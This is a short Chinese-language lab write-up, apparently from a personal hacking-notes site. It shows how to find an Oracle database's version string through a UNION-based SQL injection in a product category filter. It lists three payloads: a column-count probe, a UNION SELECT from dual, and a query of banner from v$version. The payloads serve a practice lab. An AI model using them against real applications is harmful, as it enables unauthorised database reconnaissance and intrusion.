> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/oracle-dbms-version-detection.md).

# Oracle DBMS 版本检测

### SQL 注入攻击，查询 Oracle 中的数据库类型和版本

此实验在产品类别筛选器中存在一个 SQL 注入漏洞。你可以使用 UNION 攻击来检索注入查询的结果。

要解决该实验，请显示数据库版本字符串。

<pre class="language-sql"><code class="lang-sql">' order by 2-- -
' union select '1','2' from dual-- -
<strong>' union select 'hello',banner from v$version-- -
</strong></code></pre>


---

# Agent Instructions
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